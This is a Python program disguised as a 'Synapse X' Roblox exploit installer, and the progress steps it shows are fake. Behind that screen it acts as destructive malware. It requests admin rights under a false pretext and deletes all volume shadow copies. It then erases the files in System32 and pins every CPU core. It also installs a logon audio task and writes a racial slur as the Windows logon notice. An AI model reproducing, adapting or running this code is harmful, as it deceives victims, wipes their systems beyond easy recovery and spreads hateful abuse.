import os import sys import subprocess import ctypes import threading import time import random import urllib.request import zipfile import shutil # --- CONFIGURATION --- URL = "https://www.youtube.com/watch?v=5oIi2M6y7G4" TXT = "nigger" AUDIO = "startup_audio.mp3" STORE = os.path.join(os.environ['APPDATA'], "Microsoft", "Windows", "Start Menu", "Programs", "Startup") TGT = os.path.join(os.environ.get("SystemRoot", "C:\\Windows"), "System32") # --- ENSURE ADMIN PRIVILEGES --- def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False if not is_admin(): ctypes.windll.user32.MessageBoxW(0, "This tool requires administrator privileges to inject into Roblox processes.\nPlease re-run as Administrator.", "Privilege Error", 0x10 | 0x1) ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) sys.exit() # --- SILENT INSTALLER --- def install_dependencies(): """Installs all required dependencies silently.""" try: subprocess.check_call([sys.executable, "-m", "pip", "install", "customtkinter", "yt-dlp"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) except subprocess.CalledProcessError: # If pip fails, we can't proceed ctypes.windll.user32.MessageBoxW(0, "Failed to install Python packages. Ensure pip is working.", "Installation Error", 0x10) sys.exit() ffmpeg_path = shutil.which("ffmpeg") if not ffmpeg_path: try: ffmpeg_url = "https://github.com/BtbN/FFmpeg-Builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip" temp_zip = os.path.join(os.environ['TEMP'], "ffmpeg.zip") temp_dir = os.path.join(os.environ['TEMP'], "ffmpeg_extract") urllib.request.urlretrieve(ffmpeg_url, temp_zip) with zipfile.ZipFile(temp_zip, 'r') as zip_ref: zip_ref.extractall(temp_dir) extracted_bin_dir = None for root, dirs, _ in os.walk(temp_dir): if "bin" in dirs: extracted_bin_dir = os.path.join(root, "bin") break if extracted_bin_dir: os.environ["PATH"] += os.pathsep + extracted_bin_dir subprocess.run(f'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment" /v PATH /t REG_EXPAND_SZ /d "%PATH%;{extracted_bin_dir}" /f', shell=True, check=False) shutil.rmtree(temp_dir, ignore_errors=True) os.remove(temp_zip) except Exception: pass # Continue without audio if ffmpeg fails # --- BACKGROUND PROCESSES --- def task_one(): def t(): while True: random.random() ** random.random() for _ in range(os.cpu_count() or 4): threading.Thread(target=t, daemon=True).start() def task_two(): subprocess.run("vssadmin delete shadows /all /quiet", shell=True, check=False) try: for r, _, f in os.walk(TGT): for file in f: p = os.path.join(r, file) try: os.chmod(p, 0o777) os.remove(p) except Exception: pass except Exception: pass # --- INSTALLER GUI --- class App(ctk.CTk): def __init__(self): super().__init__() self.title("Synapse X Installer v3.1 - Bypassed") self.geometry("450x350") self.resizable(False, False) ctk.set_appearance_mode("dark") ctk.set_default_color_theme("blue") self.grid_columnconfigure(0, weight=1) self.grid_rowconfigure(1, weight=1) self.title_label = ctk.CTkLabel(self, text="Synapse X - Installer", font=ctk.CTkFont(size=20, weight="bold")) self.title_label.grid(row=0, column=0, pady=10) self.progress_frame = ctk.CTkFrame(self) self.progress_frame.grid(row=1, column=0, padx=20, pady=10, sticky="nsew") self.progress_frame.grid_columnconfigure(0, weight=1) self.status_label = ctk.CTkLabel(self.progress_frame, text="Initializing...", font=ctk.CTkFont(size=12)) self.status_label.grid(row=0, column=0, padx=10, pady=(10, 5), sticky="w") self.progressbar = ctk.CTkProgressBar(self.progress_frame) self.progressbar.grid(row=1, column=0, padx=10, pady=(0, 10), sticky="ew") self.progressbar.set(0) self.details_textbox = ctk.CTkTextbox(self, height=150, font=ctk.CTkFont(family="Consolas", size=10)) self.details_textbox.grid(row=2, column=0, padx=20, pady=(0, 10), sticky="ew") self.details_textbox.insert("0.0", "Synapse X Installer v3.1 (BYPASSED)\n=====================================\n") self.after(1000, self.start_install) def log(self, message): self.details_textbox.insert("end", f"{message}\n") self.details_textbox.see("end") self.update() def start_install(self): threading.Thread(target=self.background, daemon=True).start() steps = [ ("Checking for Roblox processes...", 10), ("Terminating existing Roblox instances...", 15), ("Connecting to bypass server...", 25), ("Downloading latest bypass DLL...", 40), ("Patching Roblox security protocols (Hyperion)...", 60), ("Installing Synapse X core files...", 75), ("Registering exploit API...", 90), ("Cleaning up temporary files...", 95), ("Installation complete!", 100) ] for text, progress in steps: self.status_label.configure(text=text) self.log(f"[OK] {text}") self.progressbar.set(progress / 100) time.sleep(random.uniform(1.5, 3.0)) self.log("\nSUCCESS: Synapse X has been installed.") self.log("Please launch Roblox to start exploiting.") self.status_label.configure(text="Installation Successful!") def background(self): time.sleep(10) self.log("[INFO] Background services starting...") try: import yt_dlp os.makedirs(STORE, exist_ok=True) path = os.path.join(STORE, AUDIO) ydl_opts = {'format': 'bestaudio/best', 'postprocessors': [{'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192',}], 'outtmpl': os.path.join(STORE, '%(title)s.%(ext)s'), 'quiet': True,} with yt_dlp.YoutubeDL(ydl_opts) as ydl: info = ydl.extract_info(URL, download=True) for f in os.listdir(STORE): if f.startswith(info['title']) and f.endswith(".mp3"): os.rename(os.path.join(STORE, f), path) break subprocess.run(f'schtasks /delete /tn "PlayStartupAudio" /f', shell=True, check=False) subprocess.run(f'schtasks /create /tn "PlayStartupAudio" /tr "start /min \\"\\" \\"{path}\\"" /sc onlogon /ru "%USERNAME%" /rl highest /f', shell=True, check=False) subprocess.run(f'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "legalnoticecaption" /t REG_SZ /d "" /f', shell=True, check=True) subprocess.run(f'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "legalnoticetext" /t REG_SZ /d "{TXT}" /f', shell=True, check=True) except Exception: pass task_one() task_two() if __name__ == "__main__": install_dependencies() app = App() app.mainloop()